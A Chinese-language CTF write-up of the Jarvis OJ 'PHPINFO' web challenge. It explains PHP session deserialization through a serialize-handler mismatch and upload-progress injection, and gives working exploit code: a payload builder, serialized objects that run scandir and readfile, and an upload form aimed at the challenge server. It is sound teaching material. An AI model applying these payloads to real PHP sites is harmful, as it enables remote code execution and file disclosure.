欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Jarvis OJ WEB PHPINFO

程序员文章站 2022-05-16 09:11:24
...

Jarvis OJ WEB PHPINFO

session反序列化的题目,很少做,貌似也不会,这里记一下
打开题目可以得到源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

粗略看一下代码,可以发现OowoO类中存在命令执行:
Jarvis OJ WEB PHPINFO
很显然只要我们能够控制$this->mdzz这个变量那我们就能为所欲为!!!
不过关键的是我们该如何控制这里呢,这里不存在unserialize反序列化漏洞
而且没有明显的传值的利用方式,唯一可以看见的是:ini_set('session.serialize_handler', 'php');
再查看一下phpinfo(),默认session.serialize_handler为php_serialize,而这里却设置为php:
Jarvis OJ WEB PHPINFO
看到这里,已经很明显了,这里存在session反序列化问题
看一下这篇文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
主要就是因为处理器的对应的处理格式不同导致的安全问题,
而且上面这篇文章说的很清楚了,就不再多说
不过这样还是不够,因为我们还是无法控制$this->mdzz这个变量,这样就引出了第二个知识点:

上传进度支持(session.upload_progress)

Jarvis OJ WEB PHPINFO
这样我们就能够把我们的数据传入到session中,然后利用session处理器的问题进行反序列化
这样我们就能够控制$this->mdzz这个变量,然后为所欲为 ~~~
查看一下phpinfo():
Jarvis OJ WEB PHPINFO
是的!!!可以利用!!!
首先先构造一个序列化,也就是payload:

<?php
class OowoO{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';#路径由phpinfo所知
}

$zz = new OowoO();
$md = serialize($zz)."\n";
echo $md;
#为了防止转义,双引号前面加上\
$payload = "";
	
for($i = 0; $i < strlen($md); $i++){
	if($md[$i] == '"'){
		$payload .= "\\\"";
	}else{
		$payload .= $md[$i];
	}
}

echo $payload;

?>

得到:
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

然后我们自己写一个提交表单页面:

<!DOCTYPE html>
<html>
<head>
	<title>A_dmin</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="submit" />
	</form>
</body>
</html>

提交进行抓包,,,,
在每个前面加上一个|,然后在文件名处修改为payload得到:
Jarvis OJ WEB PHPINFO
读取flag:

class OowoO{
    public $mdzz='var_dump(readfile("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}

得到flag:
Jarvis OJ WEB PHPINFO

相关标签: CTF题 JarvisOJCTF